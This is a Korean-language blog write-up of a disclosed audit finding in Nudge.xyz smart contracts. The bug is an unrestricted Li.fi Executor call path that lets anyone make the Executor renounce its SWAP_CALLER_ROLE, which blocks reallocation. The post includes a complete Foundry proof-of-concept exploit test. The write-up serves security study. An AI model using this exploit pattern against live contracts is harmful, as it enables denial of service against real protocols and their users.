Tyojong

[1-day] Nudge.xyz - Access Control, DoS 본문

web3

[1-day] Nudge.xyz - Access Control, DoS

Tyojong 2025. 11. 4. 21:12

코드 분석

영향 받는 코드

https://github.com/code-423n4/2025-03-nudgexyz/blob/main/src/campaign/NudgeCampaign.sol

https://github.com/code-423n4/2025-03-nudgexyz/blob/main/src/campaign/NudgeCampaignFactory.sol

https://github.com/code-423n4/2025-03-nudgexyz/blob/main/src/campaign/NudgePointsCampaigns.sol

 

nudgexyz 깃허브 readme(문서)를 확인해보면 SWAP_CALLER_ROLE 권한을 Li.fi의 Executor에게 부여한다고 명시되어 있다.

 

NudgeCampaign.sol 파일의 handleReallocation 함수를 확인해보면 SWAP_CALLER_ROLE 권한만 접근 가능하도록 제약하고 있다.

 

그래서 SWAP_CALLER_ROLE 권한을 가진 Li.fi의 Executor 코드를 확인해보면

https://github.com/lifinance/contracts/blob/b8c966aad30407b3f579723847057729549fd353/src/Periphery/Executor.sol#L105-L126

swapAndExecute 함수에는 접근을 제한하는 코드가 존재하지 않아 누구나 swapAndExecute 함수를 호출할 수 있다.
swapAndExecute 함수에 인자를 보면 _swapData가 존재하고 _swapData의 각 원소는 LibSwap.SwapData 타입이다.

 

https://github.com/lifinance/contracts/blob/b8c966aad30407b3f579723847057729549fd353/src/Libraries/LibSwap.sol

LibSwap.SwapData를 확인해보면 callTocallData가 존재한다. 때문에 누구나 swapAndExecute 를 호출하여 callTocallData를 자유롭게 전달해 임의의 외부 컨트랙트 및 함수를 실행할 수 있다.

 

https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/AccessControl.sol

nudgexyz에서는 OpenZeppelin의 AccessControl을 import하고 있다.

AccessControl에는 renounceRole 함수가 있는데 renounceRole 함수는 호출한 계정이 가지고 있는 특정 역할(role)을 스스로 취소하는 함수이다.

 

익스플로잇

시나리오

Executor의 swapAndExecute로 NudgeCampaignFactory.sol에 renounceRole을 실행시키면 Executor는 SWAP_CALLER_ROLE 권한을 상실하게 되고 권한이 없기 때문에 handleReallocation은 더 이상 호출할 수 없게 되어 DoS가 발생한다.

 

PoC

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.28;

import { Test } from "forge-std/Test.sol";
import { Math } from "@openzeppelin/contracts/utils/math/Math.sol";
import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import { NudgeCampaign } from "../campaign/NudgeCampaign.sol";
import { NudgeCampaignFactory } from "../campaign/NudgeCampaignFactory.sol";
import { INudgeCampaign, IBaseNudgeCampaign } from "../campaign/interfaces/INudgeCampaign.sol";
import "../mocks/TestERC20.sol";
import { console } from "forge-std/console.sol";
import { Executor } from "../campaign/Periphery/Executor.sol";
import { ERC20Proxy } from "../campaign/Periphery/ERC20Proxy.sol";
import { LibSwap } from "../campaign/Libraries/LibSwap.sol";
import { TestUSDC } from "../mocks/TestUSDC.sol";

contract TestDOSReallocation is Test {
  using Math for uint256;

  NudgeCampaign private campaign;
  NudgeCampaignFactory private factory;
  TestERC20 private targetToken;
  TestERC20 private rewardToken;

  address owner = address(1);
  address alice = address(11);
  address bob = address(12);
  address campaignAdmin = address(13);
  address nudgeAdmin = address(14);
  address treasury = address(15);
  address swapCaller = address(16);
  address operator = address(17);
  address alternativeWithdrawalAddress = address(18);
  bytes32 public constant SWAP_CALLER_ROLE = keccak256("SWAP_CALLER_ROLE");
  uint16 constant DEFAULT_FEE_BPS = 1000; // 10%
  uint32 constant HOLDING_PERIOD = 7 days;
  uint256 constant REWARD_PPQ = 2e13;
  uint256 constant INITIAL_FUNDING = 100_000e18;
  uint256 constant PPQ_DENOMINATOR = 1e15;
  address constant NATIVE_TOKEN = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
  address badActor = address(0xBAD);
  Executor executor;
  address executorOwner = address(19);
  ERC20Proxy erc20Proxy;

// 환경 구축 함수
  function setUp() public {
    vm.startPrank(owner);
    //owner로 트랜잭션 보냄
    erc20Proxy = new ERC20Proxy(owner);
    //LiFi흐름에서 승인/전송 허브 역할을 하기 위해 ERC20Proxy 배포
    vm.stopPrank();
    // owner 종료
    
    targetToken = new TestERC20("Target Token", "TT");
    rewardToken = new TestERC20("Reward Token", "RT");
    // 테스트용 두 토큰 배포

    executor = new Executor(address(erc20Proxy), executorOwner);
    // executor 배포(프록시 주소, owner 설정)
    swapCaller = address(executor);
    // 이후 swap 호출자는 executor로 설정
    console.log(address(executor));

    factory = new NudgeCampaignFactory(treasury, nudgeAdmin, operator, address(executor));
    // 팩토리 배포 (SWAP_CALLER_ROLE을 executor에서 부여)

    vm.startPrank(owner);
    erc20Proxy.setAuthorizedCaller(address(executor), true);
    // ERC20Proxy에서 executor를 허가된 호출자로 등록
    vm.stopPrank();

    rewardToken.mintTo(INITIAL_FUNDING, address(this));
    rewardToken.approve(address(factory), INITIAL_FUNDING);
    //테스트 컨트랙트에 보상토큰 mint, 팩토리에 자금 승인

    campaign = NudgeCampaign( //팩토리를 통해 캠페인 배포 및 초기 자금 주입
      payable(
        factory.deployAndFundCampaign(
          HOLDING_PERIOD,
          address(targetToken),
          address(rewardToken),
          REWARD_PPQ,
          campaignAdmin,
          0, // start immediately
          alternativeWithdrawalAddress,
          INITIAL_FUNDING,
          1 // uuid
        )
      )
    );

    // swapCaller 설정
    deal(address(targetToken), swapCaller, INITIAL_FUNDING);
    vm.prank(swapCaller);
    targetToken.approve(address(campaign), type(uint256).max);
  }

  // 익스플로잇
  function test_DOSReallocation() public {
    vm.deal(badActor, 10 ether); // 공격자 주소에 ETH지급 (가스 용도)
    vm.startPrank(badActor); // 이후 모든 호출 badActor로 수행

    TestUSDC testUsdc = new TestUSDC("A", "B");
    // 테스트 usdc 배포. 해커가 만든 커스텀 컨트랙트를 배포할 수 있는지 확인

    testUsdc.mintTo(1 ether, badActor); //공격자에게 testUsdc 1ether mint
    testUsdc.approve(address(executor), 1);
    testUsdc.approve(address(erc20Proxy), 1);
    // executor, erc20proxy에 1단위 승인. 일부 LiFi플로우는 승인->스왑/호출 절차가 요구될 수 있어 모양만 갖춤

    bytes memory renounceRoleCallData =
      abi.encodeWithSignature("renounceRole(bytes32,address)", SWAP_CALLER_ROLE, address(executor));
    // renounceRole로 executor가 SWAP_CALLER_ROLE을 스스로 포기하도록 하는 호출 데이터를 만든다.

    // LiFi 스타일 스왑/호출 데이터 구조체 구성
    LibSwap.SwapData memory sd1 = LibSwap.SwapData(
      //callTo:
      address(factory),
      //approveTo:
      address(testUsdc),
      //sendingAssetId:
      address(testUsdc),
      //receivingAssetId:
      address(testUsdc),
      //fromAmount:
      1,
      //callData:
      renounceRoleCallData,
      //requiresDeposit:
      false
    );

    LibSwap.SwapData[] memory swapDataArray = new LibSwap.SwapData[](1);
    swapDataArray[0] = sd1;
    // 스왑/호출 단계 배열로 포장

    bytes32 transactionId = bytes32(uint256(1));
    address transferredAssetId = address(testUsdc);
    address receiver = address(badActor);
    uint256 amount = 1;
    //swapAndExecute 호출 인자 준비

    executor.swapAndExecute(transactionId, swapDataArray, address(testUsdc), payable(receiver), amount);
    // swapAndExecute 호출 (익스플로잇)
    vm.stopPrank();

    assert(!factory.hasRole(SWAP_CALLER_ROLE, address(executor)));
    // factory에서 executor가 SWAP_CALLER_ROLE을 가지고 있는지 확인
  }
}

익스플로잇 코드를 실행시켜보면 test_DOSReallocation()함수가 정상적으로 실행되어 PASS가 출력된 것을 확인할 수 있고

 

NudgeCampaignFactory::hasRole이 권한이 박탈되어 false가 출력된 것을 확인할 수 있다.

'web3' 카테고리의 다른 글

[1-day] RabbitHole - Access Control  (0) 2025.11.08
[1-day] BendDAO - Access Control  (0) 2025.11.05
[1-day] DFX finance - Reentrancy  (0) 2025.10.29